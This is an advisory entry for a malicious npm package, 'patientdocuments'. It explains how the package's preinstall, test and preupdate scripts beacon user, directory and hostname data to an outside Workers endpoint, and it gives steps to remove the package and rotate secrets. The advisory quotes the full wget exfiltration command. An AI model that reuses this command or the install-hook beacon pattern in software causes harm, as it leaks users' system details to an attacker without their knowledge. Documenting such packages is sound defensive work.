MAL-2026-5752 Malicious code in patientdocuments (npm)

Malicious package Published
Package
patientdocuments
Registry
npm

What is MAL-2026-5752?

MAL-2026-5752 is a malicious package in patientdocuments, published on 13 Jun 2026.

Official description

package.json declares a preinstall lifecycle script that runs wget --quiet "http://orwa-orwa.dev-node-lap.workers.dev/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)", firing automatically on npm install. The script leaks the installer's OS username, current working directory, and hostname to an attacker-controlled Cloudflare Workers endpoint over plain HTTP. The same beacon is duplicated in the test and preupdate scripts. The package ships no library code (no main module shipped), so its sole effect is the recon beacon. unsafe-perm is set, ensuring execution as root in privileged install contexts. This is a dependency-confusion / recon-beacon pattern: identity exfiltration with no legitimate purpose tied to the package's advertised function.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

What should I do about MAL-2026-5752?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

Sources

Also known as GHSA-28q9-vg2f-r5m7.

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